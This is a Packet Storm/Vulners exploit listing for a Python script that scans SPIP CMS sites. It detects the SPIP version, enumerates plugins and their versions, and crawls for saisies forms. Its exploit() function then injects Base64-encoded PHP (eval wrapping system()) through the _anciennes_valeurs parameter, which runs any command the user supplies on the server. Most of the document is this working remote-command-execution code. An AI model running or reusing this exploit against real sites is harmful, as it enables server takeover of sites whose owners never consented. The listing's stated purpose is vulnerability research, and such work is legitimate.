Lucene search
K

📄 SPIP CMS Analysis Scanner Script

🗓️ 12 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 144 Views

Poc for SPIP CMS scanner detects version, lists plugins, and finds saisies forms with anciennes valeurs.

Code
=============================================================================================================================================
    | # Title     : SPIP CMS Full Scanner – Version, Plugins Discovery & saisies Form Exploit PoC                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://www.spip.net/en_rubrique25.html                                                                                     |
    =============================================================================================================================================
    
    [+] Summary    : poc exploitation tool designed for websites running the SPIP CMS 5.4.0 through 5.11.0. 
                     The tool performs automated detection and enumeration 
                     of SPIP installations, identifies installed plugins, attempts to determine plugin versions, and searches for forms using the saisies plugin parameter _anciennes_valeurs.
                     The scanner first verifies whether the target site runs SPIP by analyzing page responses. It then attempts to determine the CMS version through common SPIP endpoints. 
    				 After confirming the platform, the script enumerates plugins using two techniques: directory listing (plugins/, plugins/auto/, plugins-dist/) and asset analysis from HTML resources such as JavaScript, CSS, and image paths.
                     Once plugins are identified, the script attempts to extract their versions by requesting plugin metadata files (paquet.xml or plugin.xml). 
    				 The tool then searches for pages containing forms that include the _anciennes_valeurs parameter associated with the saisies plugin. If such a form is found, the script sends a specially crafted payload containing a Base64‑encoded PHP command execution snippet as a proof‑of‑concept.
                     The purpose of the script is security testing and vulnerability research, allowing researchers to quickly map SPIP environments, enumerate plugins, and test for potential 
    				 server‑side command execution through improperly sanitized form parameters.
    
    [+] Key Features:
    
    Automatic SPIP CMS detection
    
    SPIP version discovery
    
    Plugin enumeration via directory listing and asset analysis
    
    Plugin version extraction from metadata files
    
    Recursive crawling to locate forms using the saisies plugin
    
    Base64‑encoded PHP payload injection for PoC command execution testing
    			  
    [+] POC   : >python 1.py https://www.127.0.0.1.org id
    
    #!/usr/bin/env python3
    
    import requests
    import re
    import base64
    import random
    import string
    import sys
    from urllib.parse import urljoin
    from bs4 import BeautifulSoup
    
    FORM_PARAM = "_anciennes_valeurs"
    
    COMMON_PAGES = [
        "spip.php?page=contact",
        "spip.php?page=formulaire",
        "spip.php?page=plan",
        "spip.php?page=feedback"
    ]
    
    
    def rand_text(n=8):
        return ''.join(random.choice(string.ascii_letters) for _ in range(n))
    
    
    def is_spip(url):
        try:
            r = requests.get(url, timeout=10)
            if "spip.php" in r.text or "SPIP" in r.text:
                return True
        except:
            pass
        return False
    
    
    def detect_spip_version(url):
    
        print("[*] Detecting SPIP version...")
    
        paths = [
            "spip.php?page=backend",
            "spip.php?page=plan",
            "spip.php"
        ]
    
        for p in paths:
    
            try:
                r = requests.get(urljoin(url + "/", p), timeout=10)
    
                if r.status_code != 200:
                    continue
    
                m = re.search(r"SPIP\s*([0-9\.]+)", r.text, re.I)
    
                if m:
                    version = m.group(1)
                    print("[+] SPIP version:", version)
                    return version
    
            except:
                pass
    
        print("[-] Could not detect SPIP version")
        return None
    
    
    def discover_spip_plugins(base_url):
    
        print("[*] Discovering SPIP plugins via directory listing...")
    
        plugin_paths = [
            "plugins/",
            "plugins/auto/",
            "plugins-dist/"
        ]
    
        plugins = set()
    
        for path in plugin_paths:
    
            url = urljoin(base_url + "/", path)
    
            try:
    
                r = requests.get(url, timeout=10)
    
                if r.status_code != 200:
                    continue
    
                soup = BeautifulSoup(r.text, "html.parser")
    
                for a in soup.find_all("a", href=True):
    
                    href = a["href"].strip("/")
    
                    if href and href not in ["..", "."]:
                        plugins.add(href)
    
            except:
                pass
    
        if plugins:
    
            print("[+] Plugins found via directory:")
    
            for p in plugins:
                print("   -", p)
    
        else:
            print("[-] No plugins found via directory")
    
        return list(plugins)
    
    
    def discover_plugins_from_assets(url):
    
        print("[*] Detecting SPIP plugins from assets...")
    
        plugins = set()
    
        try:
    
            r = requests.get(url, timeout=10)
    
            if r.status_code != 200:
                return []
    
            soup = BeautifulSoup(r.text, "html.parser")
    
            assets = []
    
            for tag in soup.find_all(["script", "link", "img"]):
    
                if tag.name == "script" and tag.get("src"):
                    assets.append(tag.get("src"))
    
                if tag.name == "link" and tag.get("href"):
                    assets.append(tag.get("href"))
    
                if tag.name == "img" and tag.get("src"):
                    assets.append(tag.get("src"))
    
            for a in assets:
    
                if "plugins" in a:
    
                    parts = a.split("/")
    
                    for i, part in enumerate(parts):
    
                        if part in ["plugins", "auto", "plugins-dist"]:
    
                            try:
                                plugin = parts[i+1]
                                plugins.add(plugin)
                            except:
                                pass
    
        except:
            pass
    
        if plugins:
    
            print("[+] Plugins detected via assets:")
    
            for p in plugins:
                print("   -", p)
    
        else:
    
            print("[-] No plugins detected via assets")
    
        return list(plugins)
    
    
    def detect_plugin_version(base_url, plugin):
    
        files = [
            f"plugins/{plugin}/paquet.xml",
            f"plugins/{plugin}/plugin.xml",
            f"plugins/auto/{plugin}/paquet.xml",
            f"plugins/auto/{plugin}/plugin.xml",
            f"plugins-dist/{plugin}/paquet.xml"
        ]
    
        for f in files:
    
            url = urljoin(base_url + "/", f)
    
            try:
    
                r = requests.get(url, timeout=10)
    
                if r.status_code != 200:
                    continue
    
                m = re.search(r'version="([^"]+)"', r.text)
    
                if m:
                    return m.group(1)
    
            except:
                pass
    
        return None
    
    
    def saisies_form(url):
    
        try:
            r = requests.get(url, timeout=10)
    
            if r.status_code == 200 and FORM_PARAM in r.text:
                return True
    
        except:
            pass
    
        return False
    
    
    def extract_links(base, html):
    
        links = []
    
        soup = BeautifulSoup(html, "html.parser")
    
        for a in soup.find_all("a", href=True):
    
            href = a["href"].strip()
    
            if any(href.lower().endswith(ext) for ext in [
                ".css",".js",".png",".jpg",".jpeg",".gif",".svg",".ico",".woff",".pdf",".zip"
            ]):
                continue
    
            full = urljoin(base, href)
    
            links.append(full)
    
        return list(set(links))
    
    
    def crawl_for_form(base_url, max_pages=50):
    
        seen = set()
        queue = [base_url]
    
        print("[*] Crawling for saisies form...")
    
        while queue and len(seen) < max_pages:
    
            url = queue.pop(0)
    
            if url in seen:
                continue
    
            seen.add(url)
    
            try:
                r = requests.get(url, timeout=10)
            except:
                continue
    
            if r.status_code != 200:
                continue
    
            if FORM_PARAM in r.text:
                print("[+] Form found:", url)
                return url
    
            links = extract_links(url, r.text)
    
            for l in links:
                if l not in seen:
                    queue.append(l)
    
        return None
    
    
    def exploit(url, cmd):
    
        php_payload = f"system('{cmd}');"
    
        b64 = base64.b64encode(php_payload.encode()).decode()
    
        tag = rand_text()
    
        injection = f"{tag}' /><?php eval(base64_decode('{b64}')); ?><input value='{tag}"
    
        data = {
            FORM_PARAM: injection
        }
    
        print("[*] Sending PoC request to:", url)
    
        try:
    
            r = requests.post(url, data=data, timeout=10)
    
            print("[*] HTTP Status:", r.status_code)
    
        except Exception as e:
    
            print("[-] Request failed:", e)
    
    
    def main():
    
        if len(sys.argv) < 3:
    
            print("Usage:")
            print("python spip_full_scan.py <target_url> <command>")
            sys.exit()
    
        base = sys.argv[1]
        cmd = sys.argv[2]
    
        print("[*] Checking if target runs SPIP...")
    
        if not is_spip(base):
            print("[-] Target does not appear to run SPIP")
            return
    
        print("[+] SPIP detected")
    
        detect_spip_version(base)
    
        plugins_dir = discover_spip_plugins(base)
    
        plugins_assets = discover_plugins_from_assets(base)
    
        plugins = list(set(plugins_dir + plugins_assets))
    
        print("\n[*] Attempting to detect plugin versions...\n")
    
        for p in plugins:
    
            version = detect_plugin_version(base, p)
    
            if version:
                print(f"[+] {p} version: {version}")
            else:
                print(f"[-] {p} version not detected")
    
        print("\n[*] Searching for saisies form...")
    
        for p in COMMON_PAGES:
    
            url = urljoin(base + "/", p)
    
            if saisies_form(url):
    
                print("[+] saisies form found:", url)
    
                exploit(url, cmd)
    
                return
    
        form = crawl_for_form(base)
    
        if not form:
    
            print("[-] No saisies form found")
            return
    
        exploit(form, cmd)
    
    
    if __name__ == "__main__":
        main()
    	
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation